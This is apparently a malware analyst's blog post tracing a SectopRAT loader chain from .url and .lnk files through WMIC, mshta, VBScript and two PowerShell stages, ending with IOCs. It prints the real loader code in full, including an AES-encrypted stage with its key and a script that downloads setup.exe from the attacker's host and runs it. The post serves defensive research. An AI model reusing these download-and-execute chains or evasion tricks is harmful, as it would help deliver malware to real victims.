6 minutes
SectopRAT Loader - Updates
This will be a relatively short writeup, detailing some interesting new wrinkles I uncovered regarding a SectopRAT loader.
I was collecting screenshots for my last blog post when I noticed an open directory on pputty[.]us
, the site to which a malicious Google ad pointed. It seemed the threat actor had been adding new files, perhaps new methods of initial access.
Naturally, being curious, I pulled them all down to investigate.
.URL Files
As I investigated, the logical starting point was revealed as the .url
files:
- Setup.url
- Simulator.url
- Software.url
- Webex.url
In Windows, a .url
file will automatically open a browser to a specific URL when double clicked. The URL to be contacted can be found in the file properties.
In this case, all four files had the same URL property:
file:\\179.43.142[.]86@80\Downloads\1111.lnk
Double-clicking this file will cause the following pop-up to appear.
If the “Open” button is clicked, a Windows shortcut, 1111.lnk
, will be executed.
Opening up the properties of the identically named shortcut I had downloaded from the open directory, the first thing I noticed is the description: “WMI Commandline Utility”. Interesting.
Taking a look at the target field in the Shortcut tab, I can see that when executed, the .lnk
file will run the following line (in a minimized window):
C:\Windows\System32\wbem\WMIC.exe process call create "powershell . C:\*i*\S*3*\m*ta.e* https://pputty[.]us/1.hta"
Something I learned here, PowerShell can use wildcards in file paths and will not complain. To PowerShell, C:\*i*\S*3*\m*ta.e*
is equivalent to C:\Windows\System32\mshta.exe
.
A bit about mshta from the Microsoft docs: “mshta is a Windows utility which executes HTML Application files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.”
A summary so far. A .url
file calls out to an IP and executes a .lnk
file, which in turn uses PowerShell to run an .hta
file with mshta.exe. Let’s see what the .hta
holds!
.hta File
The .hta
file was mostly placeholder HTML, with three very messy, but important lines.
After some cleaning, things started to make more sense.
A large number of variables were created and set to integer values. Using “ChrW”, which returns a readable Unicode or ASCII character, a single variable is created.
Without the thousands of quotation marks, the third line boils down to Execute Eval(res))
, which will execute whatever is passed to it, in this case, the “res” variable. By commenting out this line, I can just write it to the console to inspect it.
More VBS. After cleaning it up, it is quite straightforward, so I won’t bore with details. The obfuscation/functions here are simply to hide the creation of a WScript.Shell object. Once the object is created, it runs a command passed to it as a string, without showing a popup window.
I copied the PowerShell out of the argument string, and began to analyze it.
PowerShell Script
Below is the PowerShell called by the WScript.Shell object.
powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $RpboyN = 'AAAAAAAAAAAAAAAAAAAAAPhV/VZ6nliBpw0blRhYHFy8uOMZrCs004iC/zUNLNU+HMua76DNadYaA9soXAQC7haP7Id8A08qD8pvMK/V6arPhdbP/a2Osqu10DKceGWI3qaw+nzPAfDUJ35pavHM3PetLyPWhvypz7eQIzvfkNJGl0USK1lh2+iZeWjYT08jd3N33rvhoRnZ6NCOr86BBTw/rYh+aeQl7pfvacq1xAvHvZoOXBBL1pSQxdM22OMCO57JV5dAy0/6IGnA0rM0J6hOBA5g/qKydwjKo5C+1NN0iF/ewdiZbOf9SFvRWhIoP6zNK/W6KioKxR604X7MQJz8HpgQvAOgRdTiYcPs7iWxXu6lJsQvFQ1peat8b8tO3C/kUT6eenSeeVwJyeLHb3U+GGcGZODSjIXdo3IiS7y4hbw0CPqFUd96jxArpvuySF2lO/hwYyWOZZrxS5cij0U1ECgL7kdSpKLAVHo1nwyq8AOEQcQuvRL7+w32vIFHmO27HAY5P3ELFhI0Yr99+oez3yD73f2U3/zJBvd8ropF7PafpRv9DIhLQnL3v6tAVzSGMMLdiofZYn3mAZ0ffebrP8R+Nuiq6LZD2P22RB/gl2Oact+1XIEcPNTaNHWxdGClp8QPPr++SdYN/0+u8t91Q2C3JNj3F9yYLESJ8xUyBsK+ot3voYmk9HPHkD6rxkuKFjeMTAe5OxJeEsJw9VcuA7qZEBXsdCnnoUPI1PN7kabdxmNLmh5fYVqxUg7dihQPLmkiNH6kMWj8bpM3gJhk0OCWNg2z9S2UcI4uOHrOlJnF2ubUXNpPSAd+8jXZLzx3o7na1ijV976he5Q/vfpFFUXtJjm4bMr/0vA2RyFM98wVlw5QJ1SIS6yxGvGkvqVt+r3RmACMkkVsUNkM/cFBcYW+SAMPQcrIVH7Pr31+hrwpT9vaI1+rIuNK4Gxn9WSTxTW0r/kDj086H9bJhA==';
$bjpawLP = 'd0dJZmhTRnRma1JIeVhwWFRscmtseXZ5UndqU1hiaXE=';
$LTqnWUJ = New-Object 'System.Security.Cryptography.AesManaged';
$LTqnWUJ.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$LTqnWUJ.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$LTqnWUJ.BlockSize = 128;
$LTqnWUJ.KeySize = 256;
$LTqnWUJ.Key = [System.Convert]::FromBase64String($bjpawLP);
$NopMN = [System.Convert]::FromBase64String($RpboyN);
$nOAYBEJe = $NopMN[0..15];
$LTqnWUJ.IV = $nOAYBEJe;
$oiOyGuVja = $LTqnWUJ.CreateDecryptor();
$QXEoeqPMj = $oiOyGuVja.TransformFinalBlock($NopMN, 16, $NopMN.Length - 16);
$LTqnWUJ.Dispose();
$CoCn = New-Object System.IO.MemoryStream( , $QXEoeqPMj );
$tExvHMy = New-Object System.IO.MemoryStream;
$osHkaSVDa = New-Object System.IO.Compression.GzipStream $CoCn, ([IO.Compression.CompressionMode]::Decompress);
$osHkaSVDa.CopyTo( $tExvHMy );
$osHkaSVDa.Close();
$CoCn.Close();
[byte[]] $EVpkPWyQ = $tExvHMy.ToArray();
$VIYlM = [System.Text.Encoding]::UTF8.GetString($EVpkPWyQ);
$VIYlM | powershell - }
I can tell immediately that AES decryption is occurring, likely on the base64 looking string. I confirmed this by cleaning things up a bit.
$firstString = 'AAAAAAAAAAAAAAAAAAAAAPhV/VZ6nliBpw0blRhYHFy8uOMZrCs004iC/zUNLNU+HMua76DNadYaA9soXAQC7haP7Id8A08qD8pvMK/V6arPhdbP/a2Osqu10DKceGWI3qaw+nzPAfDUJ35pavHM3PetLyPWhvypz7eQIzvfkNJGl0USK1lh2+iZeWjYT08jd3N33rvhoRnZ6NCOr86BBTw/rYh+aeQl7pfvacq1xAvHvZoOXBBL1pSQxdM22OMCO57JV5dAy0/6IGnA0rM0J6hOBA5g/qKydwjKo5C+1NN0iF/ewdiZbOf9SFvRWhIoP6zNK/W6KioKxR604X7MQJz8HpgQvAOgRdTiYcPs7iWxXu6lJsQvFQ1peat8b8tO3C/kUT6eenSeeVwJyeLHb3U+GGcGZODSjIXdo3IiS7y4hbw0CPqFUd96jxArpvuySF2lO/hwYyWOZZrxS5cij0U1ECgL7kdSpKLAVHo1nwyq8AOEQcQuvRL7+w32vIFHmO27HAY5P3ELFhI0Yr99+oez3yD73f2U3/zJBvd8ropF7PafpRv9DIhLQnL3v6tAVzSGMMLdiofZYn3mAZ0ffebrP8R+Nuiq6LZD2P22RB/gl2Oact+1XIEcPNTaNHWxdGClp8QPPr++SdYN/0+u8t91Q2C3JNj3F9yYLESJ8xUyBsK+ot3voYmk9HPHkD6rxkuKFjeMTAe5OxJeEsJw9VcuA7qZEBXsdCnnoUPI1PN7kabdxmNLmh5fYVqxUg7dihQPLmkiNH6kMWj8bpM3gJhk0OCWNg2z9S2UcI4uOHrOlJnF2ubUXNpPSAd+8jXZLzx3o7na1ijV976he5Q/vfpFFUXtJjm4bMr/0vA2RyFM98wVlw5QJ1SIS6yxGvGkvqVt+r3RmACMkkVsUNkM/cFBcYW+SAMPQcrIVH7Pr31+hrwpT9vaI1+rIuNK4Gxn9WSTxTW0r/kDj086H9bJhA==';
$secondB64 = 'd0dJZmhTRnRma1JIeVhwWFRscmtseXZ5UndqU1hiaXE=';
$aesObject = New-Object 'System.Security.Cryptography.AesManaged';
$aesObject.Mode = [System.Security.Cryptography.CipherMode]::ECB;
$aesObject.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
$aesObject.BlockSize = 128;
$aesObject.KeySize = 256;
$aesObject.Key = [System.Convert]::FromBase64String($secondB64);
$firstStringDecoded = [System.Convert]::FromBase64String($firstString);
$theIV = $firstStringDecoded[0..15];
$aesObject.IV = $theIV;
$decryptor = $aesObject.CreateDecryptor();
$decrypted = $decryptor.TransformFinalBlock($firstStringDecoded, 16, $firstStringDecoded.Length - 16);
$aesObject.Dispose();
$memoryStream = New-Object System.IO.MemoryStream( , $decrypted );
$secondMemoryStream = New-Object System.IO.MemoryStream;
$decompressedVar = New-Object System.IO.Compression.GzipStream $memoryStream, ([IO.Compression.CompressionMode]::Decompress);
$decompressedVar.CopyTo( $secondMemoryStream );
$decompressedVar.Close();
$memoryStream.Close();
[byte[]] $byeArray = $secondMemoryStream.ToArray();
$finalString = [System.Text.Encoding]::UTF8.GetString($byeArray);
$finalString | powershell -
The first base64 is a gzip compressed, AES encrypted string and is decrypted using the second base64 string as the key. Once the decryption is complete, the data is decompressed and passed to a byte array, and then converted to a string, which is finally executed by PowerShell.
Now I’ve got a second iteration of PowerShell to investigate. As it is nothing special, I will skip showing the screenshot with the obfuscation and jump straight to the cleaned version.
function write_all_bytes($plE, $oqF){
[IO.File]::WriteAllBytes($plE, $oqF)
};
function execute_file($arg1){
if($arg1.EndsWith('.dll') -eq $True){
rundll32.exe $arg1
}
elseif($arg1.EndsWith('.ps1') -eq $True){
powershell.exe -ExecutionPolicy unrestricted -File $arg1
}
elseif($arg1.EndsWith('.msi') -eq $True){
misexec /qn /i $arg1
}
elseif($arg1.EndsWith('.jar') -eq $True){
powershell.exe -ExecutionPolicy unrestricted java -jar $arg1
}
else{
Start-Process $arg1
}
};
function download_data($arg1){
$web_client = New-Object ('Net.WebClient');
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
$return_data = $web_client.DownloadData($arg1);
return $return_data
};
function convert_to_str($arg1){
$num_var=7621;
$return_val=$Null;
foreach($iterator in $arg1){
$return_val += [char]($iterator-$num_var)
};
return $return_val
};
function main(){
$app_data_path = $env:AppData + '\';
$appdata_path2= $env:AppData;
$7zlogo_path = $appdata_path2 + '\7ziplogo.png';
If(Test-Path -Path $7zlogo_path){
Invoke-Item $7zlogo_path;
}
Else{
$7zdownload_result = download_data ('https://www.7-zip[.]de/7ziplogo.png');
write_all_bytes $7zlogo_path $7zdownload_result;
Invoke-Item $7zlogo_path;
};;;
$setup_path = $app_data_path + 'setup.exe';
if (Test-Path -Path $setup_path){
execute_file $setup_path;
}
Else{
$pputty_download = download_data ('https://pputty[.]us/setup.exe');
write_all_bytes $setup_path $pputty_download;
execute_file $setup_path;
};;
}
main;
The second stage PowerShell will download and perform two main actions. The first, is to download an image from www.7-zip.de
, which unless I am mistaken is a legitimate version of the 7zip site. I am not sure why this is done, as Invoke-Item
in PowerShell will just open the file in an image viewer. Maybe this is testing for further malicious use or part of an attempt to fool the victim into thinking they’ve downloaded legitimate software.
Regardless, the next main action is to download (if not already present), a file named setup.exe
from the familiar pputty[.]us
, and execute it depending on its extension.
Sadly, not much more to see here, as this EXE looks to be identical to the loader I examined in the previous post, down to the conspicuous Cnfggs
class.
I tried to grab the files hosted on cloudinstalller73489[.]shop
, but was hit with a “1010” error.
According to the CloudFlare docs, this error occurs when “the owner of this website has banned your access based on your browser’s signature”. Guess the threat actor is tightening things up.
Wrap Up
This was certainly an interesting path. Starting with a .url
file, I went from an .lnk
, to a WMIC call to PowerShell, to an .hta
file with VBScript, back to PowerShell, and finally to the familiar loader which I’ve already determined leads to the SectopRAT.
Read my previous post, Google Ad Leads to SectopRAT for more.
IOCs
cloudinstalller73489[.]shop
pputty[.]us
179.43.142[.]86
2023-02-16 17:23